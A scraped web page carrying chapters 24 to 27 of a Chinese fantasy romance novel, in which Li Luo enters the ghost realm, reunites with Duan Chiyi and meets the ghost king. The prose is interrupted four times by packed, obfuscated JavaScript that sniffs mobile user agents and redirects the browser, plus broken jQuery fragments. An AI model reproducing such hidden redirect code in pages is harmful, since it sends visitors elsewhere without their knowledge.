d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378993|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 她身后的鬼不耐烦道: “还走不走啊?墨迹什么呢?” 黎落回头看他一眼。 那鬼立马闭了嘴: “好漂亮的鬼……不对!你怎么是活人!” 他这嘹亮的一嗓子,顿时引来了鬼差的注意。 鬼门关两侧,一左一右两双鬼目齐齐落在黎落身上,死白眼看得她后背发凉。 她顿时在心里默念不好。 糟了,原书女主进鬼界时已经半死,轻易便进了鬼门关。 可她现在一点也没有快死的样子,身上阳气太重不说,连魔气都还未完全散尽。 黎落顶着鬼差审视的目光,默默低下了头。 其他鬼皆是一脸麻木地原地等着,对于这里有个活人的事情毫不关心。 唯独她身后那鬼还在大喊: “活人!这里有活人!” 黎落捏了捏拳头。 下一秒,她的拳头已经砸在身后那鬼的脸上,鬼喊声安静了两秒,转为更加凄厉的鬼叫。 周遭的鬼被其吸引,纷纷转头看来。 黎落用力将身后那捂着脸的鬼一推,顿时压倒了一片排队的鬼。 鬼门关前整齐的队伍仿佛热油锅里溅了水滴,从黎落身侧开始朝外沸腾开来。 提着锁链的鬼差推开碍事的鬼,朝黎落的方向走来。 黎落岂会站在原地等着被抓,果断趁混乱推倒了更多鬼,在一众哀嚎惊呼声中,头也不回地朝着鬼门关里面跑去。 身后是鬼差的大喊: “有活人闯鬼门!” “抓住她!” 中间还夹杂着别的呼声: “仔细脚下!不要踩到鬼王的宠物了!小心踩踏!” 黎落已经跑进了鬼界。 不同于鬼门关外的死气沉沉,鬼界便如同寻常集市一般,人来人往,十分热闹。 但仔细看去,路旁那烧饼摊里卖的不是寻常大饼,而是血淋淋的舌头;二层挂出的旗子上写的不是“酒肆营业”,而是“人头甩卖”。 黎落一愣,小腿便撞上一个硬邦邦的东西。 她低头,看到一只呲着牙、毛发凌乱的黑色小狗仰头望着她,吐出的舌头比寻常小狗长的多,快要垂到地上。 见黎落低头看它,那杂毛小狗“蹭”地一下跳到了她胳膊上,死沉死沉,压得黎落整个人一晃,下意识将狗扶了一把。 下一刻,街道尽头便有几个鬼差指着她的方向喊道: “偷狗贼在那!” 黎落惊:“我不是——!” 她话没说完,那几个鬼差已经提着锁链和刀叉冲了过来,大喊着: “偷狗贼别跑!” 黎落条件反射,抱着狗转头就跑。 却不小心撞倒了路边摊贩,又将他提着的一箩筐货物撞洒一地。 黎落下意识低头解释:“对不起对不起……” 然而待她定睛一看,那洒出来的货物,竟是满地眼珠子! 纵使正在逃命,她还是忍不住站在原地,弯腰低头哕了一声。 紧接着又不小心看了一眼地面,她弯着的脊背又低了几分,彻底坚持不住,连连干呕。 杂毛小狗在她胳膊上站不住,滚落到了地上。 黎落瞥了一眼,恶心得更加厉害。 眼看身后鬼差就要冲过来,她后领上却忽然传来一股拉力。 正在弯腰泛恶心的黎落一愣,就见身侧伸出来一只指节修长的手,一把揪住小狗的脖颈提了起来。 随后她感觉自己也被一只手提了起来。 头顶传来熟悉的声音,清泠泠如山涧冷泉,带了几分说不明的意味,听在黎落耳朵里却宛如天籁: “阁主,您怎么来当贼了?” 25. 第 25 章 段迟意将黎落和小狗一起提到了干净的地上。 “阁主这是多不敢见我,宁可来鬼界做贼,也不肯等我一等?” 他笑,眼神里却带着点冷。 将碎簪收好后,他立马换回了副阁主装扮,沿着往生道寻找黎落。 隔着众多鬼魂,远远看见她回头看了自己一眼。 段迟意正准备叫住她,谁知还未开口,便见黎落猛地转回头,不要命似的往鬼门关里冲。 他顿时七窍生烟,简直恨不得当场把人揪出来,敲开她的脑袋看个清楚。 也好看看她那个漂亮的脑袋瓜里到底装的什么东西? 究竟是心虚了还是魔怔了,一个凡人,魂魄随时能被鬼差掳走,竟然为了躲着他,连鬼门关都敢闯了?! 段迟意火冒三丈,冷脸等着黎落的解释。 黎落方才只顾着和系统说话,后来又忙着逃脱鬼差追捕,哪里知道段迟意在外面找她。 此刻骤然得见,她一下子又惊又喜: “段迟意?你还活着?” 段迟意转向一边,冷哼一声: “是啊,若不是……” 谁知他的话还没说完,黎落竟一个后撤步,随后直接冲上来,一个猛子扎到他身上,一把抱住了他的腰。 力气之大,几乎要把两人一起扑倒,段迟意不得不伸手扶了她一把。 两只手便顺势放在她双肩上。 段迟意低头看她。 黎落仰起头,眼睛变得亮晶晶的,开心之色不似作伪: “太好了!我就知道你那么厉害,一定不会轻易被渡魂玉收走的!” 她高兴得太过明显,简直像是意外捡到了宝似的。 这让段迟意心头酝酿了许久的火顿时被浇了个彻底,只剩一缕青烟打着圈往上冒,犹带着些许不爽的余韵。 只是再一动,腰腹就被她双臂紧紧环着,温暖的、实打实的拥抱让他忍不住动了动眼睫。 那股青烟便彻底消失不见了。 月朗风清,山水明澈。 段迟意心想: 可能黎落在鬼界外的时候就是眼拙,没能看见他吧。 而且她现在这般说,显然是担心他被渡魂玉收走,误以为他已经死了。 所以后来才不管不顾的,又是入魔,又是要剿灭骨伞里其他人。 至于急着往鬼界跑……兴许是以为他死后入轮回,急匆匆来寻他的。 想到这里,段迟意不免在心里暗自高兴。 冷脸彻底维持不住,他轻咳一声,将脸转向一边,语气也放软了几分: “你……先松开。” 黎落“欻”地收回了手。 动作之快,分明温度还留在腰间,她人已离他三步之远。 段迟意忍不住蹙眉。 却见黎落转身,两手抄起路边的席子,朝后一甩,重重砸向追过来的鬼差; 随后一手拉住他的手腕,大喊着“快跑啊——”,二话不说扯着他朝前跑去。 她的头发散开,又被风吹到身后,哗啦啦全打在段迟意被她拉着的手腕上。 沁凉丝滑的质感略过皮肤,他不由得微微蜷起五指,试图将那绸缎般的乌发拢在掌心。 无果。 黎落扭头看了一眼身后,那丛柔软乌黑的发丝便随着她转身的动作,从他指间滑走了。 段迟意看着她慌乱的神色,良久,轻声说了句: “追不上的。” “啊?” 黎落一脸茫然,跑的太急,一时反应不过来他说了什么。 于是段迟意忍不住弯了眼睛,反握住她的手,修长指节将她的手掌和手腕全然包裹起来,朝后轻轻一拉—— 黎落便被他拽得整个人朝他怀里倒去,又及时被一双手揽住站稳。 带笑的声音从她头顶响起: “我说——黎落,别跑了。” 段迟意护着她,以免她摔倒,又重复了一遍: “他们追不上了。” 黎落这次终于听清了。 但她还是透过段迟意的遮挡,又探头出去看了一眼身后,确定已经看不见鬼差的踪影了,这才彻底放下心来。 “呼……” 她从他怀里退出去,站在空地上弯着腰不住喘息。 “幸好我们跑得快。” 散落的头发垂在她眼前,晃悠悠的,但她懒得去管。 反倒是段迟意伸手,将那缕调皮的头发拢在掌心。 黎落保持着低头喘气的动作,掀了眼皮瞅他。 段迟意捏着那缕头发,在心里比划了一番,确信已经模拟出最佳的方案后,才取出一根晶莹剔透的冰钗,将她的头发盘好固定住。 “出门没带多余的簪子,我灵力冰寒,凑活一下。回去后再给你换更好的。” 他解释了一句。 黎落咬着唇没说话。 她忽然想起了那根被她拿去扎珩亦的簪子。 此刻面对着段迟意,竟然破天荒地有些心虚。 然后她也解释了一句: “那个……你给我挑的簪子,我不小心弄丢了。” 只字不提遇到珩亦的事情。 段迟意瞥她一眼。 谎话真是张口就来。 分明那根簪子在骨伞幻境里已经碎成了好几块,现在还有不少碎玉混着沙子,被他带在身上。 不过看黎落心虚又不敢说实话的样子,他顿时觉得气顺了不少。 索性便又原谅了她用簪子刺自己的事情。 反正,那会儿他带着面具,她没认出来,用簪子自保也很正常。 黎落无法从他面无表情的脸上看出他在想什么,只得歪着头,抬手触摸冰钗的形状。 刚碰到冰凉凉的发钗,手却被段迟意拉了过去。 他不知从哪掏出来一瓶伤药,一只手拉着她的四指,使她不得不把伤口完完全全暴露出来。 另一只手握着白玉药瓶,打算帮她上药。 先前看到时,黎落手上的伤口已经不再流血,但此时皮肉朝外翻卷着,隐约有鲜血渗出,似乎比在骨伞里见到的更为严重了。 段迟意看着伤口沉默两秒,目光从她指节上的血迹移到她脸上。 表情算不上友好。 黎落低头看着伤口,欲言又止: “这个是……” 不看还不觉得,此刻一看,自己手上竟有这么深一道口子,她的脸立马皱成一团,只觉得下一秒就得疼晕过去。 但段迟意还在用那双黑沉沉的眸子盯着她,等她解释。 她并不想将骨伞和系统的事情说得太多,于是强忍着痛,说道: “是我被骨伞吸进去以后,不小心划伤的。后来没注意,就变严重了。” 说完,她便将头转开,闭着眼睛,不肯再看伤口一眼。 段迟意微不可查地“哼”了一声,原本仔细给她上药的打算放置一旁,他冷着脸,仙门的上品灵药被他不要钱似的全倒在黎落手上。 洗手一样,将她的伤口浇了个透,又哗啦啦漏了不少在地上。 黎落咬着唇,冰凉的触感浇下来的瞬间,她下意识想要往回缩手,却因为被段迟意拽着,无法躲开。 她闭着眼,一副如临大敌又大义凛然的模样,看得段迟意又气又无语。 气她用刀割自己时毫不手软,如今却知道怕疼了。 一瓶伤药倒完,他将空瓶子捏碎扔了,这才开口问道: “疼吗?” 黎落闻言睁开一只眼睛,鼓起勇气去看自己的手。 说来奇怪,她本做好了痛彻心扉的打算,谁知那伤药倒在手上并无痛感,甚至有种温凉的舒适,原本持续不断的刺痛也消失了。 她“咦”了一声,彻底睁开眼。 四指仍被段迟意拉着不放,她微微屈指,想要试探手心伤口的感觉,却也勾的段迟意的手指跟着她一动。 段迟意垂眸,松了手。 于是黎落便能受伤的手举到自己眼前仔细端详。 “不疼哎……” 她动了动手: “竟然真的不疼了,而且好像快好了哎!” 她惊叹道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385221|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段迟意的目光不受控制般落到她开合的唇上。 下唇被她自己咬得格外重,透出充血的红,那弯月似的牙印上还带着水光…… 段迟意的呼吸一滞。 下一秒,他猛地转过身去。 衣摆带起的风刮到一直卧在黎落腿边的小黑狗头上。 它一下子站起来,只到黎落小腿高,顶着一身更加蓬乱的毛发,冲着段迟意“汪汪汪”叫了起来。 ——似乎骂的很脏。 黎落和段迟意的目光齐齐落到小狗身上。 黎落不解:“你怎么跟来了?” 小狗便停止了对段迟意的谩骂,回头冲她得意地“汪”了两声。 没听懂,但大概是炫耀自己跑得快,追得上她。 段迟意看着小狗,微微蹙眉: “这东西不对劲……” 小狗转向他,呲牙咧嘴“汪汪”起来,甚至前腿开始刨地,大有一副快要冲上去干架的样子。 段迟意面色不变,右手却并指为剑,做好了恶战一场的准备。 黎落左看看又看看,不知道该怎么劝架。 耳边忽然传来诡异尖细的铃声——是往生道关闭的声音。 往生道七日一开,除此以外,人鬼两界再无其他通道。 她方才跑得太远,此处远离鬼门关,根本不可能赶在往生道关闭前跑出去。 没了往生道,就算跑出鬼门关,也会迷失在两界中间,无法回归人界。 眼看七日内无法离开,她的表情却并无多少惊慌。 段迟意看她一眼,开口道: “来不及出去了,我们得在鬼界藏着,等七日后往生道打开。” 这正合黎落的意。 但她不能表现得太开心。 况且她现在是个阳气十足的活人,留在鬼界并不安全。 好在段迟意看出了她心里的担忧,及时道: “鬼界并非全是死魂,还有一处,多为刚死不久、又或是枉死之魂停留之地。那里或许可以掩盖我们的气息。” * 归栖城。 来此的新魂尚带着人族习性,街边售卖的货物终于不再是可怕的器官,而是正常的吃食。 黎落和段迟意并排走在路上,仿佛漫步在寻常人界早市。 热腾腾的包子出锅,香气直往她鼻子里钻。 她不由自主伸长了脖子去看。 那店家是个面目慈祥的奶奶,见状招呼她: “好孩子,饿了吧?来吃个包子。我女儿以前最爱吃我包的包子了……” 黎落闻言,脚步开始不由自主地朝那边挪。 下一秒就被段迟意按着脖子拉到了另一边。 他将黎落和包子隔开,神情严肃: “不能吃这里的东西,会折你的阳寿。” 黎落只得失望地叹气。 热腾腾的包子勾起了她的回忆,她跟在段迟意身旁,边走边说: “我刚来这儿的时候,娘亲也给我蒸包子,她包的不好看,馅总要露出一半。” 段迟意觉得她这话说的有些奇怪,但他没有出声,只安静听黎落继续说。 “……后来我才知道,是因为我说,只肯尝一个包子,她才想把所有肉都包进去,好叫我一口气吃饱。” 黎落说完,不好意思地笑了一下,嘟囔着: “其实还挺好吃的,早知道多吃几个了……” 尾音低得快要听不清。 段迟意看着她,隐约猜出了什么。 他莫名觉得心里不是滋味。 片刻后,他忽然站定,抬手拉住黎落的胳膊,引来她疑惑的目光。 “怎么了?” 段迟意一言不发,拉着她返回包子铺前: “买包子。” 黎落诧异抬头: “你不是说……” “不是给你吃的。” 段迟意无情打断她的期许,不看黎落失望的目光,而是盯着蒸笼里皮薄馅大的包子,淡淡开口: “买回去,当参照。” 26. 第 26 章 黎落坐在客栈桌子旁,目瞪口呆地看着段迟意将所有包子都拿出来掰成两半,仔细观察里面的馅料类型,又闻了闻味道,活像是在做严谨的实验。 她试图插话: “其实,包包子应该不用那么严谨吧,放点肉啊菜啊,能吃饱、差不多就行……” 段迟意看她一眼: “食而不精,只为裹腹长膘,与猪食何异?” 黎落:“……” 感觉他骂的好脏。 段迟意又道: “何况是我来做,你不必觉得麻烦,我已习惯事事求精。” “这样啊。” 看在他是为自己研究包子的份上,黎落大度地原谅了他的话,提议道: “那你看出了什么配方,我帮你记下来吧,免得出去后忘了,白费你的苦心。” “不必。” 段迟意仍淡淡的,但一副让人十分生气的样子: “我不会忘。” 黎落:“……” 她决定不再和他说话,躺回床上睡觉。 身后灯光一暗,是段迟意侧身挡住了蜡烛,并未完全吹灭。 她好奇转头,正对上他的眼睛,黑曜石一样锐利的视线,在昏黄的烛光下显得有些温柔。 段迟意一眨不眨地看着她,薄唇微启,声音在夜色中格外温柔,丝丝缕缕飘进她耳朵里,像是在用咒语蛊惑人心: “你看,你想要的东西,我都能帮你做到。所以……” 他目光平和,与她的双眸对视,一字一句道: “不要被魔魂控制。” 黎落的眼睛猛得睁大。 那一瞬间,她几乎以为段迟意知道了什么。 但很快,段迟意便移开了眼睛,仿佛刚刚只是随口一说而已。 黎落攥紧的拳头又轻轻放开。 段迟意应当不知道混沌之力的事,他一直在意的是自己体内的魔魂。 黎落的目光在他身上上上下下扫视了几番,没发现什么问题。 段迟意低着头继续研究包子。 他知道方才的话引起了黎落的警惕,但仍神色坦然,专注干着自己的事,仿佛对黎落的打量毫不知情。 烛火在他脸上打出一道柔和的弧度,柔和了白日里显得有些锋利的棱角,让他看起来格外随和漂亮,轻易便可消解旁人的敌视。 黎落审视无果,背过身去,裹着被子开始思考。 这归栖城确实如段迟意所言,皆是些阳气尚未散尽的鬼魂。 她藏匿于此,若不出门搞事,确实能等到七日后往生道再开。 但…… 她从怀中掏出渡魂玉。 此物落在秦如霜手中时,吸收了不少无辜灵魂,现今那些人已全成了魔气的养料,难以凑齐完整的魂魄。 但据她所知,鬼王手中有一法宝,名唤“无量冥海”,纵使只剩微弱残魂,也有机会重塑三魂七魄,再入轮回。 黎落将渡魂玉靠近心口。 两河镇的百姓死去多日,但此时握着渡魂玉,身在鬼界归栖城,她便总有种从未与他们分别的错觉。 万一还有机会呢? 她心里想着,闭上眼睛,房中昏暗的光让她觉得安心,贴着渡魂玉,很快便睡着了。 身后,段迟意终于将所有包子分析完毕。 他拿出练剑修行般的认真态度,已在脑海里梳理了完整的制作步骤,只等回到云苍阁,便可立时上手操作。 将桌面收拾好后,他的目光不由得落到了黎落身上。 先前为了防止出现意外,他和黎落只定了一间房。 此刻她缩在床中央,小小一团,背对着他,手里似乎捏着什么东西,兀自睡得香甜。 头上硬邦邦的首饰顶着她的头,竟也不嫌硌得慌。 想了想,段迟意寻来灯罩,将蜡烛盖上,确保屋子里有光,但并不会晃眼。 然后他起身走到床边,帮黎落把多余的发饰拆掉,收在储物袋中。 她的头发没有解开,大部分都规整地束着,只有一些碎发散落着,显得慵懒又闲适。 硌人的发饰被取走,黎落在梦里也松了口气,脸在被子里蹭了蹭,换了个更加舒服的姿势。 衣服和被子都被她蹭乱了,露出半个肩膀和后颈处大片雪白的皮肤。 段迟意只得又替她拉了拉下滑的被子。 忽然,他看到黎落后颈上一条细长的红痕——是她的挂坠链子所勒。 最中间已呈现出青紫色,在雪白的后颈皮肤上显得格外刺眼。 他的眉头微不可察地皱起,想要用灵力帮她治好,又害怕自己的灵力太过冰凉,扰了她的好眠。 抬起的手在半空犹豫半晌,他最后还是打算先帮她把银链拆了。 修长的手指小心挑起那根细链,微微用力—— 竟然拽不开。 他又顺着链子摸了摸,材质坚韧,浑然天成般,根本没有任何可以打开的接口。 若非是自小带着不曾卸掉过,便是用了什么特殊的材料。 段迟意试了半天,还是没能找到将链子卸掉的办法,反倒引起了黎落的注意。 她闭着眼睛,精准无比地捏住了在她颈边动来动去的手。 段迟意呼吸一顿,手指被她攥着,丝毫不敢有动作。 好在黎落仍在睡着,抓住“罪魁祸首”后,十分不客气地将他的手甩到了一边,而后拽着旁边的链子扯了扯。 蝴蝶坠子被她从衣领中拽了出来,随意垂在胸前。 段迟意一动不动,连呼吸都轻不可闻。 黎落在梦里发现自己拽不掉坠子,十分暴躁地扯了几下后,松开手继续睡觉。 段迟意这才松了一口气,缓缓凑近她,目光落在蝴蝶坠子上。 这白玉坠子样式普通,似乎没有什么特别的。 但修士的直觉让他觉得有问题,甚至黎落自己也无法拽掉…… 段迟意长眉微蹙,一时难以寻到头绪。 * 黎落打了个哆嗦。 她搓了搓自己的胳膊,茫然地看着面前古怪的林子。 树干遒劲如同鬼影,雾气飘在四周,冷得她心肝肺都在发抖。 太奇怪了,她分明记得自己睡前躺在客栈的床上,怎么现下一睁眼,竟然站在林子里? “汪汪”两声,引起了她的注意。 她低下头,看见杂毛小黑狗在她腿边,扯着她的裙摆要带她往前走。 林深雾重,地面湿滑,黎落被它拉着,踉踉跄跄朝林子深处走去。 她理智上觉得,自己似乎不该如此听一条狗的话,起码也该开口问问这儿是哪。 但又莫名觉得自己浑身轻飘飘的,像个没栓绳的气球,被小黑狗一拽,就径直跟着它飘了起来,根本没有“不跟着它”这个选项。 晃晃悠悠“飘”到了一片空地,小黑狗乐颠颠地甩着舌头朝前跑去。 黎落定睛一看,那被一丛红色鲜花包围的树下,竟斜倚着一个衣衫单薄的男子。 其面容姣好,细眉长目,身形很是纤瘦,脸颊带着病态的苍白,活生生一个“娇弱易推倒”的病美男。 小黑狗跑了过去,那“病美男”如有所感,缓缓睁开眼。 一阵微风适时吹来,他身边的红花纷纷朝后晃动,芬芳袭人。 他便在这样一片美丽到近乎妖异的场景中缓缓坐直,看向黎落,双眼弯起: “这位姑娘,是你救了我?” 黎落:“……” 见她不回答,病美男微微一笑,做出起身的动作,扶着树干的手不知怎的一滑,他一下子站立不住,歪倒在地,衣襟恰到好处地散开,露出半拉胸膛。 不等黎落说话,他已急匆匆拉上衣襟,苍白的脸上露出恰到好处的红晕,略带羞涩地笑道: “姑娘见笑了,在下昏迷太久,双腿无力,仅凭自己,实在无法起身……” 说完,他抬头,潋滟双眸中满是情意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388536|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,优雅伸出一只保养得当的手,暗示黎落过去扶他。 黎落:“……” 她想了想,攥住拳头,手背朝上递到他面前。 对方低眸浅笑,抬手轻轻按在黎落手背上,并不借力起身,而是凑近了她的耳朵,轻轻吹了一口气: “多谢姑娘相助……在下绍景言,敢问姑娘芳名?” 黎落的眼睛黑了一瞬,但很快恢复原状。 她歪头看他,神色讶然,带着恰到好处的慌乱和无措,和他拉开了几分距离: “我……我叫黎落。不客气的,你没事就好。” 绍景言起身,抬袖掩唇轻笑: “黎落,好动听的名字。” 他的手还搭在黎落手背上,指腹缓缓摩挲着她的皮肤,最后轻轻握住她的手,冰凉的触感仿佛毒蛇,激得黎落打了个冷颤。 绍景言轻笑: “我可以叫你,落儿吗?” “落?儿?” 黎落假装单纯无知的表情支撑不住,忍不住反问了一遍。 偏绍景言还自以为十分暧昧地凑近她几分,点了下头。 黎落眯起眼睛,双眸再次漫上浓黑,彻底忍耐不住,垂在身侧的手攥成拳头,带着微不可查的魔气。 她还未动手,“轰”的一声自两人背后出现,如利刃劈天斩地,重重砸在绍景言刚刚靠过的树干上。 黎落诧异地松开手,身上的魔气因为这道突然出现的攻击消散。 堪堪躲过一击的绍景言看向身后忽然出现的那道身影,阴柔的声音里带着狠戾: “你是谁?怎么进来的?” 段迟意转动手腕,菜刀在他手里也成了坚不可摧的武器,刀锋闪过幽蓝的冷光。 他面色如霜,目光寸寸掠过绍景言放在黎落手背上的手,一字如一剑: “放,开,她。” 怪道他说黎落越睡气息越浅,原来是被这个东西勾走了魂魄。 哪里来的下贱男鬼,当着他的面,也敢动他的人! 若是因此害的黎落再次入魔,便是将其千刀万剐,也难解他心中之恨! 而绍景言浑然不怕他的威胁,非但没有将手拿开,还越发放肆地靠近了黎落: “落儿姑娘,你认得他吗?” 落儿?! 此二字宛如晴天霹雳,劈得段迟意额头青筋一跳。 几乎同时,骤然刮起的冷风便卷起了黎落额前的头发。 她眨眼的功夫,人已在段迟意怀中。 “铛”得一声,他追过来时随手拿的菜刀正抵在面前一人高的恶犬牙上,刀刃寸裂。 原本那杂毛小黑狗果真不是一般犬类,此刻凶相毕露,犬牙削尖,若非被段迟意用刀挡着,顷刻便能将他一口吞下。 绍景言已退出数步之外,眉目阴冷,满是狠戾姿态: “好生无礼,冥犬,给本王杀了这个擅闯鬼界的贼!” 段迟意一手护着黎落魂体,闻言勾唇冷冷一笑。 下一刻,剑气自他周身崩发,顷刻成阵,轰然压向冥犬。 那冥犬哪里抵得过段迟意的剑气,一下子被冲上了天,剑尖直指绍景言。 段迟意扔了菜刀,准备将这个妖媚男鬼千刀万剐之时,被他挡在身后的黎落忽然出声: “等等!不要杀他!” 半空中的剑尖一顿。 黎落提起段迟意的胳膊,从他的怀里钻了出去,蹭蹭蹭跑到被剑气压得不敢动弹的绍景言身旁。 她伸手扶起他: “绍景言,你千万别害怕啊,他都是吓唬你的。” 绍景言望向黎落,露出虚弱的笑容: “嗯……落儿姑娘,我都知道的。” 黎落回以微笑。 然后她转向段迟意,边冲他使劲眨眼睛,边道: “我和绍景言一见如故,忘了给你介绍了,你怎么就这么冲动啊,差点吓坏我的新朋友。” 段迟意脸色难看。 27. 第 27 章 黎落踮起脚尖,凑到段迟意耳边: “他是鬼王,我们得在鬼界留七天,不好和他闹掰的。” 段迟意护着她魂体,神情冷淡,但不满的情绪仍从他眼角流出: “有我在,你不会有事的,何必与他虚以委蛇……” 黎落“害”了一声: “也不是不相信你,主要是……” 走在前面的绍景言停下步子,出言打断背后说小话的两人: “落儿姑娘,出口就在前面了。” 冥犬又变作小狗模样,跟在他身边转着圈撒欢,见状冲黎落两人叫了两声。 黎落便放下与段迟意说了一半的小话,扬声回答道: “哎,好的,我马上来。” 她瞪了段迟意一眼,言简意赅道: “我是阁主,你得听我的。” 段迟意哼了一声,扭过头去,没说好也没说不好。 黎落放下他不管,追上绍景言,已经换了一副甜美表情: “多谢绍公子,不然这林子这么大,我还真不知道怎么出去呢。” 段迟意落在后头,亲眼看着她瞬间变脸的功夫,若有所思地眯起眼睛。 绍景言闻言,抬袖掩唇轻咳一声,十分弱不禁风的样子: “落儿姑娘说笑了,若非你先将我唤醒,你我二人都得陷在此地,若说救命之恩,当是我谢谢你才是。” 黎落也跟着笑笑。 身后传来一声格外明显的冷哼声。 黎落的笑容一僵,装不下去了,索性收起假笑,专心走路。 绍景言回头看了一眼,若有所思,忽然又道: “先前多有得罪,不知落儿姑娘年纪轻轻,竟是云苍阁主。那位段公子,想来便是姑娘的手下了。” 黎落点头,神情变得有些紧张,问道: “我们本在极乐楼参加赏宝大会,不小心流落到了鬼界,可往生道七日后才开,不会有什么危险吧?” 绍景言安抚一笑,抬手欲揽她肩膀: “落儿姑娘不必担心,有我在——” “啪”得一声,抬起的手被段迟意打落。 他挤开绍景言,站到两人中间,一边拉着黎落的魂体朝自己身后塞,一边将她挡的严严实实,冷声道: “我是云苍副阁主,自会保护好自己的阁主,不会给你鬼界奸恶之辈丝毫机会。” 奸恶之辈指的是谁,在场三人皆心知肚明。 绍景言被他这么一怼,脸上的神色变得阴郁,但他觑段迟意脸色,很快又露出得体温和的笑: “有段副阁主保护落儿姑娘,我亦可放心了。” 段迟意:“……” 他面色不动,周身气息却冷了下去: “你找死?” 黎落急忙伸手,越过他腰拉他袖子,姿势像是环抱着他: “段迟意!” 她语带警告,生怕他再动手。 段迟意垂眸睨她一眼,目光滑过她环抱着自己的胳膊,到底是闭了嘴。 但他也不想再看见黎落和这个人笑颜相对的样子,拉着她快步走出了林子。 将黎落的魂体送回去后,绍景言打量了一番客栈环境,诧异道: “落儿姑娘怎住的如此简陋?” 他语调真诚,像是真的在担心她: “姑娘难得来鬼界,怎能住的如此勉强?我在鬼界尚有些资产,若姑娘不嫌弃,不妨去我那里小住几日。” 黎落还没开口,段迟意已打断他: “阁主并非死魂,在归栖城,总比在不怀好意的恶鬼身边安全。” 绍景言抬头看向他,眼里的恶意一闪而过。 在段迟意感到危险的瞬间,他已摆出一副受伤神情: “段公子为何如此恶语相向?我只是一片好心。” 他转向黎落,一副“遭人恶意揣度、实难自辩”的模样: “落儿姑娘对我有救命之恩,我虽是鬼族,却也知晓‘有恩必报’的道理,不过是想尽些绵薄之力罢了。” 绍景言一甩袖子,宽大的衣袍抖出飘然弧度。 “可段公子自见面起便对我要打要杀,如今更是恶言相向。” 他掩面作哀泣状: “若是你们不肯领情,直说了,我自离去便是,何苦要被你的手下如此非议?!” 好一招以退为进! 段迟意磨了磨牙。 他总算是看明白了,这人看似是鬼王,实则是个满腹心机的绿茶鬼,专会装模作样哄骗无知女子怜惜,背地里不知打的什么算盘! 好在黎落素来机敏,看似天真,实则对人心善恶极为敏锐,定不会被这个绿茶鬼欺骗。 黎落:“绍公子你别难过啊,我们不是这个意思!我去住!” 段迟意:“?” 他不敢相信地看向黎落。 却见她背对着他,不敢看他的眼睛不说,还在身后冲他摆手,示意他闭嘴。 段迟意冷笑一声。 他正想说话,黎落已冲着绍景言一脸欣喜道: “多谢绍公子了,事不宜迟,我们现在就过去吧。” 段迟意的脸色顿时漆黑如炭。 * 绍景言口中的“简陋小院”距离归栖城不远。 黎落看着面前平地起高楼般忽然多出来的奢华大宅子,一时无言。 绍景言邀请两人进来,亲自捧了茶盏上前: “落儿姑娘,这是我府中上好的茶叶,姑娘尝尝味道如何?” 黎落伸手接过,却并没有立马喝。 她还记得段迟意说过的,吃鬼界的东西会折她的阳寿。 不知鬼王到底打的什么算盘,但总归不会是为了“报答虚假的救命之恩”。 幸好绍景言并没有看着她喝,而是“不计前嫌”地又倒了一杯茶,转向段迟意: “段公子,之前许是绍某言语不当,这才惹了公子误会。” “想来多是绍某的不是,既为鬼界之人,便当多多体谅客人的心情。” 绍景言说完,将冒着热气的茶水奉到段迟意面前: “绍某愿以此茶,求得段公子原谅。” 道德绑架。 段迟意闻言反倒松了口气。 绍景言此招并不是什么罕见招式,过去他在外除妖时,也曾见过不少这种言语绑架的套路,无非就是以退为进、逼的另一人不得不与他和好如初罢了。 区区言语之亏,他一渡劫期修士,岂会因小失大、授人以柄? 更何况,若是不喝这茶,这绿茶鬼岂不是又要接机发挥。 他岂能叫他如愿? 段迟意想明白一切后,伸手便要接这茶盏。 绍景言见他动作,脸上的微笑越发灿烂。 段迟意将他的表情尽收眼底。 无非是这绿茶鬼自以为是地觉得,他与黎落一样,不能吃鬼界的东西,想把他架在火上烤而已。 那他可就失算了,莫说鬼界的东西伤不了他,便是拿着不喝,他也可以反将绍景言一军。 段迟意想到此处,亦是神情坦然。 眼看他的手就要碰到茶盏时,绍景言却忽然手一松,不惜动用鬼气,也要将茶盏重重摔在地上。 有诈! 段迟意双眸一凌,剑气与鬼气相撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399676|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欲将茶盏及时接住。 